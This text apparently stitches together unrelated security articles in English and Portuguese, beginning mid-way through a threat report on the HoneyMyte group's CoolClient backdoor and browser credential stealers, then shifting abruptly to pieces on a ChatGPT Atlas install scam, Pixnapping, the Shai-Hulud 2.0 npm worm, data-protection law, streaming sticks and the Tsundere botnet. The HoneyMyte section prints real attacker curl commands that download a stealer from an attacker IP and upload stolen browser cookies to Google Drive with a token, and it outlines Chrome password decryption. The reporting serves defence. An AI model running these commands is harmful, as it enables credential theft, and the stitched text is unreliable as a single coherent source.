This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:
| Command ID | Action |
| 0x0 | Set up reverse tunnel connection |
| 0x1 | Send data through tunnel |
| 0x2 | Close tunnel connection |
| 0x3 | Set up reverse proxy |
| 0x4 | Shut down a specific socket |
| 0x6 | List files in a directory |
| 0x7 | Delete file |
| 0x8 | Set up keylogger |
| 0x9 | Terminate keylogger thread |
| 0xA | Get clipboard data |
| 0xB | Install clipboard and active windows monitor |
| 0xC | Turn off clipboard and active windows monitor |
| 0xD | Read and send file |
| 0xE | Delete file |
CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.
Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).
This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.
| Command ID | Action |
| 0x0 | Enumerate services |
| 0x1 / 0x4 | Start or resume service |
| 0x2 | Stop service |
| 0x3 | Pause service |
| 0x5 | Create service |
| 0x6 | Delete service |
| 0x7 | Set service to start automatically at boot |
| 0x8 | Set service to be launched manually |
| 0x9 | Set service to disabled |
A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.
| Command ID | Action |
| 0x0 | List drives and network resources |
| 0x1 | List files in folder |
| 0x2 | Delete file or folder |
| 0x3 | Create new folder |
| 0x4 | Move file |
| 0x5 | Read file |
| 0x6 | Write data to file |
| 0x7 | Compress file or folder into ZIP archive |
| 0x8 | Execute file |
| 0x9 | Download and execute file using certutil |
| 0xA | Search for file |
| 0xB | Send search result |
| 0xC | Map network drive |
| 0xD | Set chunk size for file transfers |
| 0xF | Bulk copy or move |
| 0x10 | Get file metadata |
| 0x11 | Set file metadata |
Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.
CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2
While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.
During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.
The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.
The following table shows the variants of this browser credential stealer employed by HoneyMyte.
| Variant | Targeted browser(s) | Execution method | MD5 hash |
| A | Chrome | Direct execution (PE32) | 1A5A9C013CE1B65ABC75D809A25D36A7 |
| B | Edge | Direct execution (PE32) | E1B7EF0F3AC0A0A64F86E220F362B149 |
| C | Chromium-based browsers | DLL side-loading | DA6F89F15094FD3F74BA186954BE6B05 |
These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.
As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.
A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.
curl hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"
Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.
curl -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174" -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"
Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:
Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"
In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.
When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.
Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration
To retrieve saved credentials, the malware executes the following SQL query on the copied database:
SELECT origin_url, username_value, password_value FROM logins
This query returns the login URL, stored username, and encrypted password for each saved entry.
Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.
With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.
Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.
Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.
Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer
Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.
Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.
In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.
The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.
Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression
It then collects network details and downloads and runs the nbtscan tool for internal network scanning.
Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration
During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.
Batch script that collects registry, startup items, directories, and antivirus information for system profiling
Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.
Finally, it deletes any remaining artifacts to cover its tracks.
The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.
Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.
All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.
In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.
The third script attributed to HoneyMyte is a PowerShell file named t.ps1.
The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.
The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.
PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file
Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.
Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API
This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.
Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.
With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.
Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.
CoolClient
F518D8E5FE70D9090F6280C68A95998F libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C time.dat
CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34 ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B RemoteShellS.dll
Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7 Variant A
E1B7EF0F3AC0A0A64F86E220F362B149 Variant B
DA6F89F15094FD3F74BA186954BE6B05 Variant C
Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4 1.bat
838B591722512368F81298C313E37412 Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA t.ps1
CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com
FTP server
113.23.212[.]15
Infostealers, malwares que roubam senhas, cookies, documentos e/ou outros dados valiosos de computadores, tornaram-se a ameaça cibernética de crescimento mais rápido em 2025. Trata-se de um problema grave para todos os sistemas operacionais e todas as regiões. Para espalhar a infecção, os criminosos usam todo tipo de artifício como isca. Como era de se esperar, as ferramentas de IA se tornaram um dos mecanismos de atração favoritos deles neste ano. Em uma nova campanha descoberta por especialistas da Kaspersky, os invasores direcionam suas vítimas a um site que supostamente contém guias do usuário para a instalação do novo navegador Atlas da OpenAI para macOS. O que torna o ataque tão convincente é que o link da isca leva ao site oficial do ChatGPT! Mas como?
Para atrair vítimas, os agentes maliciosos colocam anúncios de pesquisa pagos no Google. Se você tentar pesquisar “atlas chatgpt”, o primeiro link patrocinado pode ser um site cujo endereço completo não é visível no anúncio, mas está claramente localizado no domínio chatgpt.com.
O título da página na lista de anúncios também é o que você esperaria: “ChatGPT™ Atlas para macOS – Baixar ChatGPT Atlas para Mac”. E um usuário que deseja baixar o novo navegador pode muito bem clicar nesse link.
Um link patrocinado nos resultados de pesquisa do Google leva a um guia de instalação de malware disfarçado de ChatGPT Atlas para macOS e hospedado no site oficial do ChatGPT. Como é possível que isso aconteça?
Clicar no anúncio realmente abre o chatgpt.com, e a vítima vê um breve guia de instalação do “navegador Atlas”. O usuário cuidadoso perceberá na hora que se trata apenas de uma conversa de um visitante anônimo com o ChatGPT, que o autor tornou pública usando o recurso Compartilhar. Os links para chats compartilhados começam com chatgpt.com/share/. Na verdade, está claramente indicado logo acima do chat: “Esta é uma cópia de uma conversa entre o ChatGPT e um anônimo”.
No entanto, um visitante menos cuidadoso ou apenas menos experiente em IA pode negligenciar esses detalhes do guia, especialmente porque ele está bem formatado e publicado em um site de aparência confiável.
Variantes dessa técnica já foram vistas antes. Os invasores abusaram de outros serviços que permitem o compartilhamento de conteúdo em seus próprios domínios: documentos maliciosos no Dropbox, phishing no Google Docs, malware em comentários não publicados no GitHub e no GitLab, armadilhas de criptografia no Google Forms e muito mais. E agora você também pode compartilhar um bate-papo com um assistente de IA, e o link para ele levará ao site oficial do chatbot.
Notavelmente, os agentes maliciosos usaram a engenharia de prompt para fazer com que o ChatGPT produzisse o guia exato de que precisavam e, depois, foram capazes de limpar a caixa de diálogo anterior para evitar levantar suspeitas.
O guia de instalação do suposto Atlas para macOS é apenas um bate-papo compartilhado entre um usuário anônimo e o ChatGPT, no qual os invasores, por meio da criação de prompts, forçam o chatbot a produzir o resultado desejado e, em seguida, limpam a caixa de diálogo
Para instalar o “navegador Atlas”, os usuários são instruídos a copiar uma única linha de código do bate-papo, abrir o Terminal em seus Macs, colar, executar o comando e conceder todas as permissões necessárias.
O comando especificado basicamente baixa um script malicioso de um servidor suspeito, atlas-extension{.}com, e o executa imediatamente no computador. Estamos diante de uma variação do ataque ClickFix. Normalmente, os golpistas sugerem “receitas” como essas para validar o CAPTCHA, mas aqui temos as etapas para instalar um navegador. O truque principal, no entanto, é o mesmo: o usuário é solicitado a executar manualmente um comando shell que baixa e executa o código de uma fonte externa. Muitos já sabem que não devem executar arquivos baixados de fontes duvidosas, mas a forma como esse golpe se desenrola nada se parece com a execução de um arquivo.
Quando executado, o script solicita ao usuário a senha do sistema e verifica se a combinação de “nome de usuário atual + senha” é válida para executar comandos do sistema. Se os dados inseridos estiverem incorretos, a solicitação será repetida indefinidamente. Se o usuário inserir a senha correta, o script baixará o malware e usará as credenciais fornecidas para instalá-lo e iniciá-lo.
Se o usuário cair no estratagema, um infostealer comum conhecido como AMOS (Atomic macOS Stealer) será iniciado no computador. O AMOS é capaz de coletar uma ampla variedade de dados potencialmente valiosos: senhas, cookies e outras informações do Chrome, do Firefox e de outros perfis de navegador; dados de carteiras de criptomoedas como Electrum, Coinomi e Exodus; e informações de aplicativos como o Telegram Desktop e o OpenVPN Connect. Além disso, o AMOS rouba arquivos com extensões TXT, PDF e DOCX das pastas Área de Trabalho, Documentos e Downloads, bem como arquivos da pasta de armazenamento de mídia do aplicativo Notes. O infostealer empacota todos esses dados e os envia ao servidor dos invasores.
A cereja no bolo é que o ladrão instala um backdoor e o configura para ser iniciado automaticamente após a reinicialização do sistema. O backdoor essencialmente replica a funcionalidade do AMOS, ao mesmo tempo em que fornece aos invasores a capacidade de controlar remotamente o computador da vítima.
Essa onda de novas ferramentas de IA permite que os invasores reciclem truques antigos e tenham como alvo usuários curiosos sobre a nova tecnologia, mas que ainda não têm uma vasta experiência na interação com grandes modelos de linguagem.
Já escrevemos sobre uma barra lateral de chatbot falsa para navegadores e clientes DeepSeek e Grok falsos. Agora, o foco mudou para explorar o interesse no OpenAI Atlas, e esse certamente não será o último ataque desse tipo.
O que você deve fazer para proteger seus dados, seu computador e seu dinheiro?
Se você perguntar ao ChatGPT se deve seguir as instruções recebidas, ele responderá que não é seguro
De que outra forma os agentes maliciosos usam a IA para enganar?
O Android aumenta constantemente as restrições de aplicativos com o intuito de impedir que golpistas consigam usar softwares maliciosos para roubar dinheiro, senhas e informações confidenciais de usuários. No entanto, uma nova vulnerabilidade apelidada de Pixnapping é capaz de driblar todas as camadas de proteção do Android, possibilitando que um invasor leia os pixels de imagem da tela de forma imperceptível, ou seja, faça uma captura de tela.
Um aplicativo malicioso sem nenhuma permissão pode ver senhas, saldos de contas bancárias, códigos de uso único e qualquer outra informação que o usuário do Android visualizar na tela. Felizmente, no momento, o Pixnapping é apenas um projeto baseado em pesquisa e ainda não está sendo explorado ativamente por atores de ameaças. Resta esperar que o Google corrija completamente a vulnerabilidade antes que o código de ataque seja incorporado a malwares do mundo real. Atualmente, a vulnerabilidade Pixnapping (CVE-2025-48561) deve afetar todos os smartphones modernos com sistema Android, incluindo os que executam as versões mais recentes deste sistema.
Conforme demonstrado pelo SparkCat, um malware de roubo de dados que usa OCR, os atores de ameaças já dominam o processamento de imagens. Se houver uma informação valiosa em uma imagem no smartphone, o malware poderá detectá-la, executar o reconhecimento óptico de caracteres diretamente no telefone e, em seguida, extrair os dados para o servidor do invasor. O SparkCat é particularmente significativo por ter conseguido se infiltrar nos marketplaces de aplicativos oficiais, incluindo a App Store. Não seria difícil para um aplicativo malicioso infectado com Pixnapping replicar esse truque, até mesmo porque o ataque não exige permissões especiais. Um aplicativo aparentemente útil e legítimo pode enviar simultânea e silenciosamente códigos únicos de autenticação multifator, senhas de carteiras de criptomoedas e qualquer outra informação aos golpistas.
Visualizar os dados necessários conforme são exibidos, em tempo real, também é uma tática popular usada pelos agentes maliciosos. Nessa abordagem de engenharia social, eles entram em contato com a vítima por meio de um aplicativo de mensagens e a convencem, sob vários pretextos, a ativar o compartilhamento de tela.
Os pesquisadores conseguiram capturar o conteúdo de outros aplicativos combinando métodos já conhecidos de roubo de pixels de navegadores e de unidades de processamento gráfico (GPUs) de telefones ARM. Furtivamente, o aplicativo de ataque sobrepõe janelas translúcidas às informações desejadas e, em seguida, analisa como o sistema de vídeo combina os pixels das janelas em uma imagem final.
Em 2013, pesquisadores descreveram um ataque em que um site foi capaz de carregar outro dentro de sua própria janela (usando um iframe) e, ao executar operações legítimas de sobreposição e transformação de imagens, deduzir exatamente o que foi desenhado ou escrito no outro site. Embora os navegadores mais modernos tenham conseguido evitar esse ataque específico, um grupo de pesquisadores dos EUA descobriu como realizá-lo no Android.
O aplicativo malicioso envia uma chamada do sistema para o aplicativo de destino. No Android, isso é conhecido como Intent. Os Intents costumam permitir tanto a inicialização simples do aplicativo quanto a abertura imediata de um navegador a partir de uma URL específica ou de um aplicativo de mensagens a partir de uma conversa com um contato específico. O aplicativo de ataque envia um Intent desenvolvido para forçar o aplicativo alvo a renderizar a tela com as informações confidenciais. São utilizadas bandeiras especiais de inicialização ocultas. Então, o aplicativo de ataque envia um Intent de inicialização para si mesmo. Essa combinação específica de ações faz com que o aplicativo não apareça na tela da vítima, mas exiba as informações solicitadas pelo invasor em uma janela em segundo plano.
No segundo estágio do ataque, o aplicativo malicioso sobrepõe várias janelas translúcidas com a janela oculta do aplicativo afetado, cada uma delas cobrindo e desfocando o conteúdo da janela abaixo de si. Esse mecanismo complexo permanece invisível para o usuário, mas o Android calcula cuidadosamente como seria a aparência dessa combinação de janelas se o usuário a trouxesse para o primeiro plano.
O aplicativo de ataque só é capaz de ler diretamente os pixels das suas próprias janelas translúcidas; o invasor não tem acesso direto à imagem combinada final, que incorpora o conteúdo da tela do aplicativo da vítima. Para contornar essa restrição, os pesquisadores empregam dois truques engenhosos: (i) o pixel que se deseja roubar é isolado dos outros ao seu redor, sobrepondo o aplicativo da vítima com uma janela fosca com um único ponto transparente compatível com o pixel desejado; (ii) coloca-se uma camada de ampliação com o desfoque elevado habilitado por cima dessa combinação.
Como a vulnerabilidade Pixnapping funciona
Para decifrar o mush resultante e determinar o valor do pixel da janela inferior, os pesquisadores se aproveitaram de outra vulnerabilidade famosa, a GPU.zip (esse link pode se parecer com o link de um arquivo, mas conduz ao site de uma pesquisa). Essa vulnerabilidade baseia-se no fato de que todos os smartphones modernos comprimem os dados de qualquer imagem enviada da CPU para a GPU. Essa compactação não gera perdas (como um arquivo ZIP), mas a velocidade de compactação e descompactação sofre alterações dependendo das informações transmitidas. A GPU.zip possibilita que um invasor analise o tempo necessário de compactação dos dados. E ao cronometrar essas operações, o invasor pode deduzir quais dados estão sendo transferidos. Com a ajuda da GPU.zip, o pixel isolado, desfocado e ampliado da janela do aplicativo da vítima pode ser lido com êxito pelo aplicativo malicioso.
Roubar algo significativo requer que todo o processo de roubo de pixels seja repetido centenas de vezes, pois ele precisa ser feito para cada ponto separadamente. No entanto, isso é totalmente viável dentro de um curto período de tempo. Nessa demonstração em vídeo do ataque, um código de seis dígitos do Google Authenticator foi extraído com sucesso em apenas 22 segundos, enquanto o código ainda estava válido.
Os engenheiros do Google possuem quase duas décadas de experiência no combate a diversos ataques de privacidade, o que resultou na criação de uma defesa estratificada contra a captura ilegal de telas e vídeos. Uma lista completa dessas proteções necessitaria de várias páginas. Portanto, selecionamos apenas algumas das principais:
Infelizmente, o Pixnapping dribla todas essas restrições existentes e não exige nenhuma permissão especial. O aplicativo invasor só precisa de dois recursos fundamentais: renderizar suas próprias janelas e enviar chamadas do sistema (Intents) para outros aplicativos. Essas são as estruturas operacionais básicas do Android. Portanto, é muito difícil restringi-las.
A viabilidade do ataque foi confirmada nas versões 13 a 16 do Android em dispositivos Google Pixel das gerações 6 a 9, bem como no Samsung Galaxy S25. Os pesquisadores acreditam que também seja possível executar o ataque em outros dispositivos Android, já que todos os seus mecanismos são padrão. No entanto, pode haver nuances relacionadas à implementação da segunda fase do ataque (a técnica de ampliação de pixel).
O Google lançou um patch em setembro depois de ser notificado do ataque ocorrido em fevereiro. Infelizmente, o método escolhido para corrigir a vulnerabilidade não era confiável o suficiente, e os pesquisadores rapidamente criaram uma maneira de contornar o patch. O Google planeja uma nova tentativa de eliminar a vulnerabilidade na atualização de dezembro. Quanto à GPU.zip, não há planos de lançar um patch para esse canal de vazamento de dados. Desde que a falha se tornou pública em 2024, nenhum fabricante de GPU de smartphone anunciou planos para evitá-la até o momento.
As opções do usuário para se defender contra o Pixnapping são limitadas. Recomendamos as seguintes medidas:
Que outros métodos de ataque fora do padrão existem no Android
- Spywares que fingem ser um antivírus
- Cavalos de Troia instalados em smartphones Android falsos
- Roubo de dados durante o carregamento do smartphone
- Suas fotos de gato estão em risco: a ameaça representada pelo novo Cavalo de Troia SparkKitty
- Como o Necro Trojan atacou 11 milhões de usuários do Android
In September, a new breed of malware distributed via compromised Node Package Manager (npm) packages made headlines. It was dubbed “Shai-Hulud”, and we published an in-depth analysis of it in another post. Recently, a new version was discovered.
Shai Hulud 2.0 is a type of two-stage worm-like malware that spreads by compromising npm tokens to republish trusted packages with a malicious payload. More than 800 npm packages have been infected by this version of the worm.
According to our telemetry, the victims of this campaign include individuals and organizations worldwide, with most infections observed in Russia, India, Vietnam, Brazil, China, Türkiye, and France.
When a developer installs an infected npm package, the setup_bun.js script runs during the preinstall stage, as specified in the modified package.json file.
The initial-stage script setup_bun.js is left intentionally unobfuscated and well documented to masquerade as a harmless tool for installing the legitimate Bun JavaScript runtime. It checks common installation paths for Bun and, if the runtime is missing, installs it from an official source in a platform-specific manner. This seemingly routine behavior conceals its true purpose: preparing the execution environment for later stages of the malware.
The installed Bun runtime then executes the second-stage payload, bun_environment.js, a 10MB malware script obfuscated with an obfuscate.io-like tool. This script is responsible for the main malicious activity.
Shai Hulud 2.0 is built to harvest secrets from various environments. Upon execution, it immediately searches several sources for sensitive data, such as:
Then all the exfiltrated data is sent through the established communication channel, which we describe in more detail in the next section.
To exfiltrate the stolen data, the malware sets up a communication channel via a public GitHub repository. For this purpose, it uses the victim’s GitHub access token if found in environment variables and the GitHub CLI configuration.
After that, the malware creates a repository with a randomly generated 18-character name and a marker in its description. This repository then serves as a data storage to which all stolen credentials and system information are uploaded.
If the token is not found, the script attempts to obtain a previously stolen token from another victim by searching through GitHub repositories for those containing the text, “Sha1-Hulud: The Second Coming.” in the description.
For subsequent self-replication via embedding into npm packages, the script scans .npmrc configuration files in the home directory and the current directory in an attempt to find an npm registry authorization token.
If this is successful, it validates the token by sending a probe request to the npm /-/whoami API endpoint, after which the script retrieves a list of up to 100 packages maintained by the victim.
For each package, it injects the malicious files setup_bun.js and bun_environment.js via bundleAssets and updates the package configuration by setting setup_bun.js as a pre-installation script and incrementing the package version. The modified package is then published to the npm registry.
If the malware fails to obtain a valid npm token and is also unable to get a valid GitHub token, making data exfiltration impossible, it triggers a destructive payload that wipes user files, primarily those in the home directory.
Our solutions detect the family described here as HEUR:Worm.Script.Shulud.gen.
Since September of this year, Kaspersky has blocked over 1700 Shai Hulud 2.0 attacks on user machines. Of these, 18.5% affected users in Russia, 10.7% occurred in India, and 9.7% in Brazil.
O vazamento de milhões de credenciais por malwares do tipo infostealer (programas que invadem dispositivos para roubar logins, senhas e dados sensíveis) evidencia não apenas uma falha tecnológica, mas também uma ameaça jurídica concreta para empresas. Sob a Lei Geral de Proteção de Dados (LGPD), organizações que não implementam políticas preventivas, auditorias e controles rigorosos podem ser responsabilizadas civil e administrativamente, inclusive quando a falha ocorre via fornecedores ou parceiros.
Segundo o advogado especialista em tecnologia da informação e cibersegurança, Bruno Fuentes, a LGPD exige que empresas adotem medidas técnicas e administrativas adequadas para proteger dados pessoais. “Isso significa que não basta investir em tecnologia; é preciso demonstrar governança, auditoria e treinamento contínuo. Caso contrário, a empresa pode responder juridicamente, mesmo que o vazamento tenha origem por terceiros”, comenta.
Incidentes como este, segundo o advogado, mostram que conselhos e diretores precisam integrar a segurança de dados às decisões estratégicas da empresa. “Não agir pode gerar sanções e também comprometer contratos e relações comerciais”, alerta.
Segundo a legislação, incidentes de segurança devem ser notificados imediatamente à Agência Nacional de Proteção de Dados (ANPD) e aos titulares dos dados afetados, sob risco de multas, bloqueio ou eliminação de dados. A falta de medidas preventivas ou de governança efetiva pode gerar ainda ações por danos materiais e morais.
Assis Neto, especialista em direito empresarial, destaca que além da proteção de dados, há uma dimensão societária. “Conselhos e sócios precisam garantir que contratos com fornecedores contenham cláusulas claras sobre responsabilidade, comunicação de incidentes e governança corporativa. Negligenciar esses aspectos expõe a empresa a sanções da ANPD, litígios e impactos reputacionais”, explica.
Para Neto, empresas familiares e grupos societários, em particular, devem tratar a governança corporativa de forma integrada com compliance e contratos estratégicos. “Falhas de controle podem gerar responsabilidade direta de administradores e comprometer a confiança entre sócios e investidores”, revela.
Para os juristas, proteção de dados não é apenas tecnologia, é estratégia jurídica e corporativa. Incidentes como os causados por infostealers demonstram que empresas que não alinham TI, jurídico e governança de fornecedores podem enfrentar sérias consequências legais e regulatórias.
Ahead of the holiday season, people who have bought cheap Amazon Fire TV Sticks or similar devices online should be aware that some of them could let cybercriminals access personal data, bank accounts, and even steal money.
BeStreamWise, a UK initiative established to counter illegal streaming, says the rise of illicit streaming devices preloaded with software that bypasses licensing and offers “free” films, sports, and TV comes with a risk.
Dodgy stick streaming typically involves preloaded or modified devices, frequently Amazon Fire TV Sticks, sold with unauthorized apps that connect to pirated content streams. These apps unlock premium subscription content like films, sports, and TV shows without proper licensing.
The main risks of using dodgy streaming sticks include:
BeStreamWise warns specifically about “modded Amazon Fire TV Sticks.” Reporting around the campaign notes that around two in five illegal streamers have fallen prey to fraud, likely linked to compromised hardware or the risky apps and websites that come with illegal streaming.
According to BeStreamWise, citing Dynata research:
“1 in 3 (32%) people who illegally stream in the UK say they, or someone they know, have been a victim of fraud, scams, or identity theft as a result.”
Victims lost an average of almost £1,700 (about $2,230) each. You could pay for a lot of legitimate streaming services with that. But it’s not just money that’s at stake. In January, The Sun warned all Fire TV Stick owners about an app that was allegedly “stealing identities,” showing how easily unsafe apps can end up on modified devices.
And if it’s not the USB device that steals your data or money, then it might be the website you use to access illegal streams. FACT highlights research from Webroot showing that:
“Of 50 illegal streaming sites analysed, every single one contained some form of malicious content – from sophisticated scams to extreme and explicit content.”
So, from all this we can conclude that illegal streaming is not the victimless crime that many assume it is. It creates victims on all sides: media networks lose revenue and illegal users can lose far more than they bargained for.
The obvious advice here is to stay away from illegal streaming and be careful about the USB devices you plug into your computer or TV. When you think about it, you’re buying something from someone breaking the law, and hoping they’ll treat your data honestly.
There are a few additional precautions you can take though:
If you have already used a USB device or visited a website that you don’t trust:
We don’t just report on threats—we help safeguard your entire digital identity
Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.
Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.
The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.
Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.
